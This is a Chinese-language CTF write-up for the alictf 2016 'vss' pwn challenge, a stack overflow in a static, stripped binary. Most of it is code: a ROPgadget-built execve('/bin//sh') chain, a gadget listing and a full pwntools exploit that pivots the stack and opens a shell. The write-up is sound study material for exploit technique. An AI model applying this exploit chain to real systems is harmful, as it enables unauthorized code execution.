alictf-2016-vss

第一次做静态链接的题,题本身不难,但是静态编译加striped加成,才拿到时还是一脸懵逼的~

分析程序

检查下保护措施:

没什么保护,但是查看文件信息发现是静态链接的,打开ida后就是一脸懵逼:

里面很多神奇的函数,格式很相似,入口点在start处,而从start开始发现和动态链接就不一样,那就只能使用Windows逆向技巧,通过字符串的交叉引用找关键函数:

这里的标记是自己做的,方法呢就是先点进去看看,若是很奇怪那就是库函数,再猜意思作标记,这里来看似乎没什么漏洞,有个关键函数,它是传入输入值返回成功或失败,跟入看看:

这里可以看到溢出了,缓冲区在rbp-40h而可以读50h字节,刚好覆盖rbp与返回地址,至于下面if语句里面是要干什么可以直接忽略,即使输入的前两字节为’py’即可,那么怎么利用呢?它这里溢出的位数很有限,于是可以使用stack pivot将栈转移到上一个函数的缓冲区里面,那里面再存放rop链~

strncpy这个这个函数会复制到字符串直到遇到空字符或到最大长度,前者会将剩下空间使用null填满,后者不会再在缓冲区之后添加空字符。因为某事今天栽在这个函数上了~

利用代码

  1. 使用ropgadget构造rop链:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    ➜  Desktop ROPgadget --binary vss --ropchain
    ....................................................................
    #!/usr/bin/env python2
    # execve generated by ROPgadget

    from struct import pack

    # Padding goes here
    p = ''

    p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
    p += pack('<Q', 0x00000000006c4080) # @ .data
    p += pack('<Q', 0x000000000046f208) # pop rax ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
    p += pack('<Q', 0x00000000006c4088) # @ .data + 8
    p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
    p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x0000000000401823) # pop rdi ; ret
    p += pack('<Q', 0x00000000006c4080) # @ .data
    p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
    p += pack('<Q', 0x00000000006c4088) # @ .data + 8
    p += pack('<Q', 0x000000000043ae05) # pop rdx ; ret
    p += pack('<Q', 0x00000000006c4088) # @ .data + 8
    p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045f2a5) # syscall ; ret
  2. 查找add rsp的gadget
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    ➜  Desktop ROPgadget --binary vss --only 'add|ret' | grep rsp

    0x00000000004161b0 : add rsp, 0x18 ; ret
    0x0000000000462cda : add rsp, 0x28 ; ret
    0x000000000046e432 : add rsp, 0x30 ; ret
    0x000000000047a2b5 : add rsp, 0x38 ; ret
    0x000000000046f175 : add rsp, 0x48 ; ret
    0x000000000046f205 : add rsp, 0x58 ; ret
    0x000000000046f2f1 : add rsp, 0x78 ; ret
    0x000000000044892a : add rsp, 0xd0 ; ret
    0x00000000004080c7 : add rsp, 0xd8 ; ret
    0x00000000004002dd : add rsp, 8 ; ret
  3. 构造payload
    观察下我们输入的400h字节的位置,再考虑它前两字节已经固定,rop链比较长,所以可以选择rsp+58h的gadget,下面是完整利用代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    #!/usr/bin/env python
    # coding=utf-8
    from pwn import *
    from struct import pack

    # Padding goes here
    p = ''

    p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
    p += pack('<Q', 0x00000000006c4080) # @ .data
    p += pack('<Q', 0x000000000046f208) # pop rax ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
    p += pack('<Q', 0x00000000006c4088) # @ .data + 8
    p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
    p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x0000000000401823) # pop rdi ; ret
    p += pack('<Q', 0x00000000006c4080) # @ .data
    p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
    p += pack('<Q', 0x00000000006c4088) # @ .data + 8
    p += pack('<Q', 0x000000000043ae05) # pop rdx ; ret
    p += pack('<Q', 0x00000000006c4088) # @ .data + 8
    p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000045f2a5) # syscall ; ret

    addRspRet = 0x000000000046f205
    payload = 'py'+'a'*(0x48-0x2)+p64(addRspRet)+'a'*(0x58-0x50)+p

    p = process('vss')
    p.recv()
    #gdb.attach(p)
    p.send(payload)
    p.interactive()
    结果: